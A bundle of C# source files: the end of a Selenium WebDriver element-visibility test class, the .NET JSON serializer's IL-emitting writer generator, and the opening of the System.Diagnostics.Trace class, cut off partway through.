[IgnoreBrowser(Browser.HtmlUnit)]
[IgnoreBrowser(Browser.Opera)]
public void ShouldBeAbleToSelectOptionsFromAnInvisibleSelect()
{
driver.Url = formsPage;
IWebElement select = driver.FindElement(By.Id("invisi_select"));
ReadOnlyCollection<IWebElement> options = select.FindElements(By.TagName("option"));
IWebElement apples = options[0];
IWebElement oranges = options[1];
Assert.IsTrue(apples.Selected, "Apples should be selected");
Assert.IsFalse(oranges.Selected, "Oranges shoudl be selected");
oranges.Click();
Assert.IsFalse(apples.Selected, "Apples should not be selected");
Assert.IsTrue(oranges.Selected, "Oranges should be selected");
}
[Test]
[Category("Javascript")]
public void CorrectlyDetectMapElementsAreShown()
{
driver.Url = mapVisibilityPage;
IWebElement area = driver.FindElement(By.Id("mtgt_unnamed_0"));
bool isShown = area.Displayed;
Assert.IsTrue(isShown, "The element and the enclosing map should be considered shown.");
}
[Test]
public void ElementsWithOpacityZeroShouldNotBeVisible()
{
driver.Url = clickJackerPage;
IWebElement element = driver.FindElement(By.Id("clickJacker"));
Assert.IsFalse(element.Displayed);
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Xml;
#if uapaot
namespace System.Runtime.Serialization.Json
{
public delegate void JsonFormatClassWriterDelegate(XmlWriterDelegator xmlWriter, object obj, XmlObjectSerializerWriteContextComplexJson context, ClassDataContract dataContract, XmlDictionaryString[] memberNames);
public delegate void JsonFormatCollectionWriterDelegate(XmlWriterDelegator xmlWriter, object obj, XmlObjectSerializerWriteContextComplexJson context, CollectionDataContract dataContract);
}
#else
namespace System.Runtime.Serialization.Json
{
using System;
using System.Collections;
using System.Reflection;
using System.Reflection.Emit;
using System.Security;
using System.Xml;
internal delegate void JsonFormatClassWriterDelegate(XmlWriterDelegator xmlWriter, object obj, XmlObjectSerializerWriteContextComplexJson context, ClassDataContract dataContract, XmlDictionaryString[] memberNames);
internal delegate void JsonFormatCollectionWriterDelegate(XmlWriterDelegator xmlWriter, object obj, XmlObjectSerializerWriteContextComplexJson context, CollectionDataContract dataContract);
internal class JsonFormatWriterGenerator
{
private CriticalHelper _helper;
public JsonFormatWriterGenerator()
{
_helper = new CriticalHelper();
}
internal JsonFormatClassWriterDelegate GenerateClassWriter(ClassDataContract classContract)
{
return _helper.GenerateClassWriter(classContract);
}
internal JsonFormatCollectionWriterDelegate GenerateCollectionWriter(CollectionDataContract collectionContract)
{
return _helper.GenerateCollectionWriter(collectionContract);
}
private class CriticalHelper
{
private CodeGenerator _ilg;
private ArgBuilder _xmlWriterArg;
private ArgBuilder _contextArg;
private ArgBuilder _dataContractArg;
private LocalBuilder _objectLocal;
// Used for classes
private ArgBuilder _memberNamesArg;
private int _typeIndex = 1;
private int _childElementIndex = 0;
internal JsonFormatClassWriterDelegate GenerateClassWriter(ClassDataContract classContract)
{
_ilg = new CodeGenerator();
bool memberAccessFlag = classContract.RequiresMemberAccessForWrite(null);
try
{
BeginMethod(_ilg, "Write" + DataContract.SanitizeTypeName(classContract.StableName.Name) + "ToJson", typeof(JsonFormatClassWriterDelegate), memberAccessFlag);
}
catch (SecurityException securityException)
{
if (memberAccessFlag)
{
classContract.RequiresMemberAccessForWrite(securityException);
}
else
{
throw;
}
}
InitArgs(classContract.UnderlyingType);
_memberNamesArg = _ilg.GetArg(4);
WriteClass(classContract);
return (JsonFormatClassWriterDelegate)_ilg.EndMethod();
}
internal JsonFormatCollectionWriterDelegate GenerateCollectionWriter(CollectionDataContract collectionContract)
{
_ilg = new CodeGenerator();
bool memberAccessFlag = collectionContract.RequiresMemberAccessForWrite(null);
try
{
BeginMethod(_ilg, "Write" + DataContract.SanitizeTypeName(collectionContract.StableName.Name) + "ToJson", typeof(JsonFormatCollectionWriterDelegate), memberAccessFlag);
}
catch (SecurityException securityException)
{
if (memberAccessFlag)
{
collectionContract.RequiresMemberAccessForWrite(securityException);
}
else
{
throw;
}
}
InitArgs(collectionContract.UnderlyingType);
WriteCollection(collectionContract);
return (JsonFormatCollectionWriterDelegate)_ilg.EndMethod();
}
private void BeginMethod(CodeGenerator ilg, string methodName, Type delegateType, bool allowPrivateMemberAccess)
{
#if USE_REFEMIT
ilg.BeginMethod(methodName, delegateType, allowPrivateMemberAccess);
#else
MethodInfo signature = delegateType.GetMethod("Invoke");
ParameterInfo[] parameters = signature.GetParameters();
Type[] paramTypes = new Type[parameters.Length];
for (int i = 0; i < parameters.Length; i++)
paramTypes[i] = parameters[i].ParameterType;
DynamicMethod dynamicMethod = new DynamicMethod(methodName, signature.ReturnType, paramTypes, typeof(JsonFormatWriterGenerator).Module, allowPrivateMemberAccess);
ilg.BeginMethod(dynamicMethod, delegateType, methodName, paramTypes, allowPrivateMemberAccess);
#endif
}
private void InitArgs(Type objType)
{
_xmlWriterArg = _ilg.GetArg(0);
_contextArg = _ilg.GetArg(2);
_dataContractArg = _ilg.GetArg(3);
_objectLocal = _ilg.DeclareLocal(objType, "objSerialized");
ArgBuilder objectArg = _ilg.GetArg(1);
_ilg.Load(objectArg);
// Copy the data from the DataTimeOffset object passed in to the DateTimeOffsetAdapter.
// DateTimeOffsetAdapter is used here for serialization purposes to bypass the ISerializable implementation
// on DateTimeOffset; which does not work in partial trust.
if (objType == Globals.TypeOfDateTimeOffsetAdapter)
{
_ilg.ConvertValue(objectArg.ArgType, Globals.TypeOfDateTimeOffset);
_ilg.Call(XmlFormatGeneratorStatics.GetDateTimeOffsetAdapterMethod);
}
//Copy the KeyValuePair<K,T> to a KeyValuePairAdapter<K,T>.
else if (objType.IsGenericType && objType.GetGenericTypeDefinition() == Globals.TypeOfKeyValuePairAdapter)
{
ClassDataContract dc = (ClassDataContract)DataContract.GetDataContract(objType);
_ilg.ConvertValue(objectArg.ArgType, Globals.TypeOfKeyValuePair.MakeGenericType(dc.KeyValuePairGenericArguments));
_ilg.New(dc.KeyValuePairAdapterConstructorInfo);
}
else
{
_ilg.ConvertValue(objectArg.ArgType, objType);
}
_ilg.Stloc(_objectLocal);
}
private void InvokeOnSerializing(ClassDataContract classContract)
{
if (classContract.BaseContract != null)
InvokeOnSerializing(classContract.BaseContract);
if (classContract.OnSerializing != null)
{
_ilg.LoadAddress(_objectLocal);
_ilg.Load(_contextArg);
_ilg.Call(XmlFormatGeneratorStatics.GetStreamingContextMethod);
_ilg.Call(classContract.OnSerializing);
}
}
private void InvokeOnSerialized(ClassDataContract classContract)
{
if (classContract.BaseContract != null)
InvokeOnSerialized(classContract.BaseContract);
if (classContract.OnSerialized != null)
{
_ilg.LoadAddress(_objectLocal);
_ilg.Load(_contextArg);
_ilg.Call(XmlFormatGeneratorStatics.GetStreamingContextMethod);
_ilg.Call(classContract.OnSerialized);
}
}
private void WriteClass(ClassDataContract classContract)
{
InvokeOnSerializing(classContract);
if (classContract.IsISerializable)
{
_ilg.Call(_contextArg, JsonFormatGeneratorStatics.WriteJsonISerializableMethod, _xmlWriterArg, _objectLocal);
}
else
{
if (classContract.HasExtensionData)
{
LocalBuilder extensionDataLocal = _ilg.DeclareLocal(Globals.TypeOfExtensionDataObject, "extensionData");
_ilg.Load(_objectLocal);
_ilg.ConvertValue(_objectLocal.LocalType, Globals.TypeOfIExtensibleDataObject);
_ilg.LoadMember(JsonFormatGeneratorStatics.ExtensionDataProperty);
_ilg.Store(extensionDataLocal);
_ilg.Call(_contextArg, XmlFormatGeneratorStatics.WriteExtensionDataMethod, _xmlWriterArg, extensionDataLocal, -1);
WriteMembers(classContract, extensionDataLocal, classContract);
}
else
{
WriteMembers(classContract, null, classContract);
}
}
InvokeOnSerialized(classContract);
}
private int WriteMembers(ClassDataContract classContract, LocalBuilder extensionDataLocal, ClassDataContract derivedMostClassContract)
{
int memberCount = (classContract.BaseContract == null) ? 0 :
WriteMembers(classContract.BaseContract, extensionDataLocal, derivedMostClassContract);
int classMemberCount = classContract.Members.Count;
_ilg.Call(thisObj: _contextArg, XmlFormatGeneratorStatics.IncrementItemCountMethod, classMemberCount);
for (int i = 0; i < classMemberCount; i++, memberCount++)
{
DataMember member = classContract.Members[i];
Type memberType = member.MemberType;
LocalBuilder memberValue = null;
_ilg.Load(_contextArg);
_ilg.Call(methodInfo: member.IsGetOnlyCollection ?
XmlFormatGeneratorStatics.StoreIsGetOnlyCollectionMethod :
XmlFormatGeneratorStatics.ResetIsGetOnlyCollectionMethod);
if (!member.EmitDefaultValue)
{
memberValue = LoadMemberValue(member);
_ilg.IfNotDefaultValue(memberValue);
}
bool requiresNameAttribute = DataContractJsonSerializerImpl.CheckIfXmlNameRequiresMapping(classContract.MemberNames[i]);
if (requiresNameAttribute || !TryWritePrimitive(memberType, memberValue, member.MemberInfo, arrayItemIndex: null, name: null, nameIndex: i + _childElementIndex))
{
// Note: DataContractSerializer has member-conflict logic here to deal with the schema export
// requirement that the same member can't be of two different types.
if (requiresNameAttribute)
{
_ilg.Call(thisObj: null, JsonFormatGeneratorStatics.WriteJsonNameWithMappingMethod, _xmlWriterArg, _memberNamesArg, i + _childElementIndex);
}
else
{
WriteStartElement(nameLocal: null, nameIndex: i + _childElementIndex);
}
if (memberValue == null)
memberValue = LoadMemberValue(member);
WriteValue(memberValue);
WriteEndElement();
}
if (classContract.HasExtensionData)
{
_ilg.Call(thisObj: _contextArg, XmlFormatGeneratorStatics.WriteExtensionDataMethod, _xmlWriterArg, extensionDataLocal, memberCount);
}
if (!member.EmitDefaultValue)
{
if (member.IsRequired)
{
_ilg.Else();
_ilg.Call(thisObj: null, XmlFormatGeneratorStatics.ThrowRequiredMemberMustBeEmittedMethod, member.Name, classContract.UnderlyingType);
}
_ilg.EndIf();
}
}
_typeIndex++;
_childElementIndex += classMemberCount;
return memberCount;
}
private LocalBuilder LoadMemberValue(DataMember member)
{
_ilg.LoadAddress(_objectLocal);
_ilg.LoadMember(member.MemberInfo);
LocalBuilder memberValue = _ilg.DeclareLocal(member.MemberType, member.Name + "Value");
_ilg.Stloc(memberValue);
return memberValue;
}
private void WriteCollection(CollectionDataContract collectionContract)
{
LocalBuilder itemName = _ilg.DeclareLocal(typeof(XmlDictionaryString), "itemName");
_ilg.Load(_contextArg);
_ilg.LoadMember(JsonFormatGeneratorStatics.CollectionItemNameProperty);
_ilg.Store(itemName);
if (collectionContract.Kind == CollectionKind.Array)
{
Type itemType = collectionContract.ItemType;
LocalBuilder i = _ilg.DeclareLocal(Globals.TypeOfInt, "i");
_ilg.Call(_contextArg, XmlFormatGeneratorStatics.IncrementArrayCountMethod, _xmlWriterArg, _objectLocal);
if (!TryWritePrimitiveArray(collectionContract.UnderlyingType, itemType, _objectLocal, itemName))
{
WriteArrayAttribute();
_ilg.For(i, 0, _objectLocal);
if (!TryWritePrimitive(itemType, null /*value*/, null /*memberInfo*/, i /*arrayItemIndex*/, itemName, 0 /*nameIndex*/))
{
WriteStartElement(itemName, 0 /*nameIndex*/);
_ilg.LoadArrayElement(_objectLocal, i);
LocalBuilder memberValue = _ilg.DeclareLocal(itemType, "memberValue");
_ilg.Stloc(memberValue);
WriteValue(memberValue);
WriteEndElement();
}
_ilg.EndFor();
}
}
else
{
MethodInfo incrementCollectionCountMethod = null;
switch (collectionContract.Kind)
{
case CollectionKind.Collection:
case CollectionKind.List:
case CollectionKind.Dictionary:
incrementCollectionCountMethod = XmlFormatGeneratorStatics.IncrementCollectionCountMethod;
break;
case CollectionKind.GenericCollection:
case CollectionKind.GenericList:
incrementCollectionCountMethod = XmlFormatGeneratorStatics.IncrementCollectionCountGenericMethod.MakeGenericMethod(collectionContract.ItemType);
break;
case CollectionKind.GenericDictionary:
incrementCollectionCountMethod = XmlFormatGeneratorStatics.IncrementCollectionCountGenericMethod.MakeGenericMethod(Globals.TypeOfKeyValuePair.MakeGenericType(collectionContract.ItemType.GetGenericArguments()));
break;
}
if (incrementCollectionCountMethod != null)
{
_ilg.Call(_contextArg, incrementCollectionCountMethod, _xmlWriterArg, _objectLocal);
}
bool isDictionary = false, isGenericDictionary = false;
Type enumeratorType = null;
Type[] keyValueTypes = null;
if (collectionContract.Kind == CollectionKind.GenericDictionary)
{
isGenericDictionary = true;
keyValueTypes = collectionContract.ItemType.GetGenericArguments();
enumeratorType = Globals.TypeOfGenericDictionaryEnumerator.MakeGenericType(keyValueTypes);
}
else if (collectionContract.Kind == CollectionKind.Dictionary)
{
isDictionary = true;
keyValueTypes = new Type[] { Globals.TypeOfObject, Globals.TypeOfObject };
enumeratorType = Globals.TypeOfDictionaryEnumerator;
}
else
{
enumeratorType = collectionContract.GetEnumeratorMethod.ReturnType;
}
MethodInfo moveNextMethod = enumeratorType.GetMethod(Globals.MoveNextMethodName, BindingFlags.Instance | BindingFlags.Public, Array.Empty<Type>());
MethodInfo getCurrentMethod = enumeratorType.GetMethod(Globals.GetCurrentMethodName, BindingFlags.Instance | BindingFlags.Public, Array.Empty<Type>());
if (moveNextMethod == null || getCurrentMethod == null)
{
if (enumeratorType.IsInterface)
{
if (moveNextMethod == null)
moveNextMethod = JsonFormatGeneratorStatics.MoveNextMethod;
if (getCurrentMethod == null)
getCurrentMethod = JsonFormatGeneratorStatics.GetCurrentMethod;
}
else
{
Type ienumeratorInterface = Globals.TypeOfIEnumerator;
CollectionKind kind = collectionContract.Kind;
if (kind == CollectionKind.GenericDictionary || kind == CollectionKind.GenericCollection || kind == CollectionKind.GenericEnumerable)
{
Type[] interfaceTypes = enumeratorType.GetInterfaces();
foreach (Type interfaceType in interfaceTypes)
{
if (interfaceType.IsGenericType
&& interfaceType.GetGenericTypeDefinition() == Globals.TypeOfIEnumeratorGeneric
&& interfaceType.GetGenericArguments()[0] == collectionContract.ItemType)
{
ienumeratorInterface = interfaceType;
break;
}
}
}
if (moveNextMethod == null)
moveNextMethod = CollectionDataContract.GetTargetMethodWithName(Globals.MoveNextMethodName, enumeratorType, ienumeratorInterface);
if (getCurrentMethod == null)
getCurrentMethod = CollectionDataContract.GetTargetMethodWithName(Globals.GetCurrentMethodName, enumeratorType, ienumeratorInterface);
}
}
Type elementType = getCurrentMethod.ReturnType;
LocalBuilder currentValue = _ilg.DeclareLocal(elementType, "currentValue");
LocalBuilder enumerator = _ilg.DeclareLocal(enumeratorType, "enumerator");
_ilg.Call(_objectLocal, collectionContract.GetEnumeratorMethod);
if (isDictionary)
{
ConstructorInfo dictEnumCtor = enumeratorType.GetConstructor(Globals.ScanAllMembers, new Type[] { Globals.TypeOfIDictionaryEnumerator });
_ilg.ConvertValue(collectionContract.GetEnumeratorMethod.ReturnType, Globals.TypeOfIDictionaryEnumerator);
_ilg.New(dictEnumCtor);
}
else if (isGenericDictionary)
{
Type ctorParam = Globals.TypeOfIEnumeratorGeneric.MakeGenericType(Globals.TypeOfKeyValuePair.MakeGenericType(keyValueTypes));
ConstructorInfo dictEnumCtor = enumeratorType.GetConstructor(Globals.ScanAllMembers, new Type[] { ctorParam });
_ilg.ConvertValue(collectionContract.GetEnumeratorMethod.ReturnType, ctorParam);
_ilg.New(dictEnumCtor);
}
_ilg.Stloc(enumerator);
bool canWriteSimpleDictionary = isDictionary || isGenericDictionary;
if (canWriteSimpleDictionary)
{
Type genericDictionaryKeyValueType = Globals.TypeOfKeyValue.MakeGenericType(keyValueTypes);
PropertyInfo genericDictionaryKeyProperty = genericDictionaryKeyValueType.GetProperty(JsonGlobals.KeyString);
PropertyInfo genericDictionaryValueProperty = genericDictionaryKeyValueType.GetProperty(JsonGlobals.ValueString);
_ilg.Load(_contextArg);
_ilg.LoadMember(JsonFormatGeneratorStatics.UseSimpleDictionaryFormatWriteProperty);
_ilg.If();
WriteObjectAttribute();
LocalBuilder pairKey = _ilg.DeclareLocal(Globals.TypeOfString, "key");
LocalBuilder pairValue = _ilg.DeclareLocal(keyValueTypes[1], "value");
_ilg.ForEach(currentValue, elementType, enumeratorType, enumerator, getCurrentMethod);
_ilg.LoadAddress(currentValue);
_ilg.LoadMember(genericDictionaryKeyProperty);
_ilg.ToString(keyValueTypes[0]);
_ilg.Stloc(pairKey);
_ilg.LoadAddress(currentValue);
_ilg.LoadMember(genericDictionaryValueProperty);
_ilg.Stloc(pairValue);
WriteStartElement(pairKey, 0 /*nameIndex*/);
WriteValue(pairValue);
WriteEndElement();
_ilg.EndForEach(moveNextMethod);
_ilg.Else();
}
WriteArrayAttribute();
_ilg.ForEach(currentValue, elementType, enumeratorType, enumerator, getCurrentMethod);
if (incrementCollectionCountMethod == null)
{
_ilg.Call(_contextArg, XmlFormatGeneratorStatics.IncrementItemCountMethod, 1);
}
if (!TryWritePrimitive(elementType, currentValue, null /*memberInfo*/, null /*arrayItemIndex*/, itemName, 0 /*nameIndex*/))
{
WriteStartElement(itemName, 0 /*nameIndex*/);
if (isGenericDictionary || isDictionary)
{
_ilg.Call(_dataContractArg, JsonFormatGeneratorStatics.GetItemContractMethod);
_ilg.Call(JsonFormatGeneratorStatics.GetRevisedItemContractMethod);
_ilg.Call(JsonFormatGeneratorStatics.GetJsonDataContractMethod);
_ilg.Load(_xmlWriterArg);
_ilg.Load(currentValue);
_ilg.ConvertValue(currentValue.LocalType, Globals.TypeOfObject);
_ilg.Load(_contextArg);
_ilg.Load(currentValue.LocalType);
_ilg.LoadMember(JsonFormatGeneratorStatics.TypeHandleProperty);
_ilg.Call(JsonFormatGeneratorStatics.WriteJsonValueMethod);
}
else
{
WriteValue(currentValue);
}
WriteEndElement();
}
_ilg.EndForEach(moveNextMethod);
if (canWriteSimpleDictionary)
{
_ilg.EndIf();
}
}
}
private bool TryWritePrimitive(Type type, LocalBuilder value, MemberInfo memberInfo, LocalBuilder arrayItemIndex, LocalBuilder name, int nameIndex)
{
PrimitiveDataContract primitiveContract = PrimitiveDataContract.GetPrimitiveDataContract(type);
if (primitiveContract == null || primitiveContract.UnderlyingType == Globals.TypeOfObject)
return false;
// load writer
if (type.IsValueType)
{
_ilg.Load(_xmlWriterArg);
}
else
{
_ilg.Load(_contextArg);
_ilg.Load(_xmlWriterArg);
}
// load primitive value
if (value != null)
{
_ilg.Load(value);
}
else if (memberInfo != null)
{
_ilg.LoadAddress(_objectLocal);
_ilg.LoadMember(memberInfo);
}
else
{
_ilg.LoadArrayElement(_objectLocal, arrayItemIndex);
}
// load name
if (name != null)
{
_ilg.Load(name);
}
else
{
_ilg.LoadArrayElement(_memberNamesArg, nameIndex);
}
// load namespace
_ilg.Load(null);
// call method to write primitive
_ilg.Call(primitiveContract.XmlFormatWriterMethod);
return true;
}
private bool TryWritePrimitiveArray(Type type, Type itemType, LocalBuilder value, LocalBuilder itemName)
{
PrimitiveDataContract primitiveContract = PrimitiveDataContract.GetPrimitiveDataContract(itemType);
if (primitiveContract == null)
return false;
string writeArrayMethod = null;
switch (itemType.GetTypeCode())
{
case TypeCode.Boolean:
writeArrayMethod = "WriteJsonBooleanArray";
break;
case TypeCode.DateTime:
writeArrayMethod = "WriteJsonDateTimeArray";
break;
case TypeCode.Decimal:
writeArrayMethod = "WriteJsonDecimalArray";
break;
case TypeCode.Int32:
writeArrayMethod = "WriteJsonInt32Array";
break;
case TypeCode.Int64:
writeArrayMethod = "WriteJsonInt64Array";
break;
case TypeCode.Single:
writeArrayMethod = "WriteJsonSingleArray";
break;
case TypeCode.Double:
writeArrayMethod = "WriteJsonDoubleArray";
break;
default:
break;
}
if (writeArrayMethod != null)
{
WriteArrayAttribute();
MethodInfo writeArrayMethodInfo = typeof(JsonWriterDelegator).GetMethod(
writeArrayMethod,
Globals.ScanAllMembers,
new Type[] { type, typeof(XmlDictionaryString), typeof(XmlDictionaryString) });
_ilg.Call(_xmlWriterArg, writeArrayMethodInfo, value, itemName, null);
return true;
}
return false;
}
private void WriteArrayAttribute()
{
_ilg.Call(_xmlWriterArg, JsonFormatGeneratorStatics.WriteAttributeStringMethod,
null /* prefix */,
JsonGlobals.typeString /* local name */,
string.Empty /* namespace */,
JsonGlobals.arrayString /* value */);
}
private void WriteObjectAttribute()
{
_ilg.Call(_xmlWriterArg, JsonFormatGeneratorStatics.WriteAttributeStringMethod,
null /* prefix */,
JsonGlobals.typeString /* local name */,
null /* namespace */,
JsonGlobals.objectString /* value */);
}
private void WriteValue(LocalBuilder memberValue)
{
Type memberType = memberValue.LocalType;
bool isNullableOfT = (memberType.IsGenericType &&
memberType.GetGenericTypeDefinition() == Globals.TypeOfNullable);
if (memberType.IsValueType && !isNullableOfT)
{
PrimitiveDataContract primitiveContract = PrimitiveDataContract.GetPrimitiveDataContract(memberType);
if (primitiveContract != null)
_ilg.Call(_xmlWriterArg, primitiveContract.XmlFormatContentWriterMethod, memberValue);
else
InternalSerialize(XmlFormatGeneratorStatics.InternalSerializeMethod, memberValue, memberType, false /* writeXsiType */);
}
else
{
if (isNullableOfT)
{
memberValue = UnwrapNullableObject(memberValue); //Leaves !HasValue on stack
memberType = memberValue.LocalType;
}
else
{
_ilg.Load(memberValue);
_ilg.Load(null);
_ilg.Ceq();
}
_ilg.If();
_ilg.Call(_contextArg, XmlFormatGeneratorStatics.WriteNullMethod, _xmlWriterArg, memberType, DataContract.IsTypeSerializable(memberType));
_ilg.Else();
PrimitiveDataContract primitiveContract = PrimitiveDataContract.GetPrimitiveDataContract(memberType);
if (primitiveContract != null && primitiveContract.UnderlyingType != Globals.TypeOfObject)
{
if (isNullableOfT)
{
_ilg.Call(_xmlWriterArg, primitiveContract.XmlFormatContentWriterMethod, memberValue);
}
else
{
_ilg.Call(_contextArg, primitiveContract.XmlFormatContentWriterMethod, _xmlWriterArg, memberValue);
}
}
else
{
if (memberType == Globals.TypeOfObject || //boxed Nullable<T>
memberType == Globals.TypeOfValueType ||
((IList)Globals.TypeOfNullable.GetInterfaces()).Contains(memberType))
{
_ilg.Load(memberValue);
_ilg.ConvertValue(memberValue.LocalType, Globals.TypeOfObject);
memberValue = _ilg.DeclareLocal(Globals.TypeOfObject, "unwrappedMemberValue");
memberType = memberValue.LocalType;
_ilg.Stloc(memberValue);
_ilg.If(memberValue, Cmp.EqualTo, null);
_ilg.Call(_contextArg, XmlFormatGeneratorStatics.WriteNullMethod, _xmlWriterArg, memberType, DataContract.IsTypeSerializable(memberType));
_ilg.Else();
}
InternalSerialize((isNullableOfT ? XmlFormatGeneratorStatics.InternalSerializeMethod : XmlFormatGeneratorStatics.InternalSerializeReferenceMethod),
memberValue, memberType, false /* writeXsiType */);
if (memberType == Globals.TypeOfObject) //boxed Nullable<T>
_ilg.EndIf();
}
_ilg.EndIf();
}
}
private void InternalSerialize(MethodInfo methodInfo, LocalBuilder memberValue, Type memberType, bool writeXsiType)
{
_ilg.Load(_contextArg);
_ilg.Load(_xmlWriterArg);
_ilg.Load(memberValue);
_ilg.ConvertValue(memberValue.LocalType, Globals.TypeOfObject);
LocalBuilder typeHandleValue = _ilg.DeclareLocal(typeof(RuntimeTypeHandle), "typeHandleValue");
_ilg.Call(memberValue, XmlFormatGeneratorStatics.GetTypeMethod);
_ilg.Call(XmlFormatGeneratorStatics.GetTypeHandleMethod);
_ilg.Stloc(typeHandleValue);
_ilg.LoadAddress(typeHandleValue);
_ilg.Ldtoken(memberType);
_ilg.Call(typeof(RuntimeTypeHandle).GetMethod("Equals", new Type[] { typeof(RuntimeTypeHandle) }));
_ilg.Load(writeXsiType);
_ilg.Load(DataContract.GetId(memberType.TypeHandle));
_ilg.Ldtoken(memberType);
_ilg.Call(methodInfo);
}
private LocalBuilder UnwrapNullableObject(LocalBuilder memberValue)// Leaves !HasValue on stack
{
Type memberType = memberValue.LocalType;
Label onNull = _ilg.DefineLabel();
Label end = _ilg.DefineLabel();
_ilg.LoadAddress(memberValue);
while (memberType.IsGenericType && memberType.GetGenericTypeDefinition() == Globals.TypeOfNullable)
{
Type innerType = memberType.GetGenericArguments()[0];
_ilg.Dup();
_ilg.Call(typeof(Nullable<>).MakeGenericType(innerType).GetMethod("get_HasValue"));
_ilg.Brfalse(onNull);
_ilg.Call(typeof(Nullable<>).MakeGenericType(innerType).GetMethod("get_Value"));
memberType = innerType;
}
memberValue = _ilg.DeclareLocal(memberType, "nullableUnwrappedMemberValue");
_ilg.Stloc(memberValue);
_ilg.Load(false); //isNull
_ilg.Br(end);
_ilg.MarkLabel(onNull);
_ilg.Pop();
_ilg.LoadAddress(memberValue);
_ilg.InitObj(memberType);
_ilg.Load(true); //isNull
_ilg.MarkLabel(end);
return memberValue;
}
private void WriteStartElement(LocalBuilder nameLocal, int nameIndex)
{
_ilg.Load(_xmlWriterArg);
// localName
if (nameLocal == null)
_ilg.LoadArrayElement(_memberNamesArg, nameIndex);
else
_ilg.Load(nameLocal);
// namespace
_ilg.Load(null);
if (nameLocal != null && nameLocal.LocalType == Globals.TypeOfString)
{
_ilg.Call(JsonFormatGeneratorStatics.WriteStartElementStringMethod);
}
else
{
_ilg.Call(JsonFormatGeneratorStatics.WriteStartElementMethod);
}
}
private void WriteEndElement()
{
_ilg.Call(_xmlWriterArg, JsonFormatGeneratorStatics.WriteEndElementMethod);
}
}
}
}
#endif
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
#define TRACE
using System;
using System.Collections;
namespace System.Diagnostics
{
/// <devdoc>
/// <para>Provides a set of properties and methods to trace the execution of your code.</para>
/// </devdoc>
public sealed class Trace
{
// not creatable...
//
private Trace()
{
}
private static CorrelationManager s_correlationManager = null;
public static CorrelationManager CorrelationManager
{
get
{
if (s_correlationManager == null)
{
s_correlationManager = new CorrelationManager();
}
return s_correlationManager;
}
}
/// <devdoc>
/// <para>Gets the collection of listeners that is monitoring the trace output.</para>
/// </devdoc>
public static TraceListenerCollection Listeners
{
get
{
return TraceInternal.Listeners;
}
}
/// <devdoc>
/// <para>
/// Gets or sets whether <see cref='System.Diagnostics.Trace.Flush'/> should be called on the <see cref='System.Diagnostics.Trace.Listeners'/> after every write.
/// </para>
/// </devdoc>
public static bool AutoFlush
{
get
{
return TraceInternal.AutoFlush;
}
set
{
TraceInternal.AutoFlush = value;
}
}
public static bool UseGlobalLock
{
get
{
return TraceInternal.UseGlobalLock;
}
set
{
TraceInternal.UseGlobalLock = value;
}
}
/// <devdoc>
/// <para>Gets or sets the indent level.</para>
/// </devdoc>
public static int IndentLevel
{
get { return TraceInternal.IndentLevel; }
set { TraceInternal.IndentLevel = value; }
}
/// <devdoc>
/// <para>
/// Gets or sets the number of spaces in an indent.
/// </para>
/// </devdoc>
public static int IndentSize
{
get { return TraceInternal.IndentSize; }
set { TraceInternal.IndentSize = value; }
}
/// <devdoc>
/// <para>Clears the output buffer, and causes buffered data to
/// be written to the <see cref='System.Diagnostics.Trace.Listeners'/>.</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void Flush()
{
TraceInternal.Flush();
}
/// <devdoc>
/// <para>Clears the output buffer, and then closes the <see cref='System.Diagnostics.Trace.Listeners'/> so that they no
/// longer receive debugging output.</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void Close()
{
TraceInternal.Close();
}
/// <devdoc>
/// <para>Checks for a condition, and outputs the callstack if the
/// condition
/// is <see langword='false'/>.</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void Assert(bool condition)
{
TraceInternal.Assert(condition);
}
/// <devdoc>
/// <para>Checks for a condition, and displays a message if the condition is
/// <see langword='false'/>. </para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void Assert(bool condition, string message)
{
TraceInternal.Assert(condition, message);
}
/// <devdoc>
/// <para>Checks for a condition, and displays both messages if the condition
/// is <see langword='false'/>. </para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void Assert(bool condition, string message, string detailMessage)
{
TraceInternal.Assert(condition, message, detailMessage);
}
/// <devdoc>
/// <para>Emits or displays a message for an assertion that always fails.</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void Fail(string message)
{
TraceInternal.Fail(message);
}
/// <devdoc>
/// <para>Emits or displays both messages for an assertion that always fails.</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void Fail(string message, string detailMessage)
{
TraceInternal.Fail(message, detailMessage);
}
public static void Refresh()
{
Switch.RefreshAll();
TraceSource.RefreshAll();
TraceInternal.Refresh();
}
[System.Diagnostics.Conditional("TRACE")]
public static void TraceInformation(string message)
{
TraceInternal.TraceEvent(TraceEventType.Information, 0, message, null);
}
[System.Diagnostics.Conditional("TRACE")]
public static void TraceInformation(string format, params object[] args)
{
TraceInternal.TraceEvent(TraceEventType.Information, 0, format, args);
}
[System.Diagnostics.Conditional("TRACE")]
public static void TraceWarning(string message)
{
TraceInternal.TraceEvent(TraceEventType.Warning, 0, message, null);
}
[System.Diagnostics.Conditional("TRACE")]
public static void TraceWarning(string format, params object[] args)
{
TraceInternal.TraceEvent(TraceEventType.Warning, 0, format, args);
}
[System.Diagnostics.Conditional("TRACE")]
public static void TraceError(string message)
{
TraceInternal.TraceEvent(TraceEventType.Error, 0, message, null);
}
[System.Diagnostics.Conditional("TRACE")]
public static void TraceError(string format, params object[] args)
{
TraceInternal.TraceEvent(TraceEventType.Error, 0, format, args);
}
/// <devdoc>
/// <para>Writes a message to the trace listeners in the <see cref='System.Diagnostics.Trace.Listeners'/>
/// collection.</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void Write(string message)
{
TraceInternal.Write(message);
}
/// <devdoc>
/// <para>Writes the name of the <paramref name="value "/>
/// parameter to the trace listeners in the <see cref='System.Diagnostics.Trace.Listeners'/> collection.</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void Write(object value)
{
TraceInternal.Write(value);
}
/// <devdoc>
/// <para>Writes a category name and message to the trace listeners
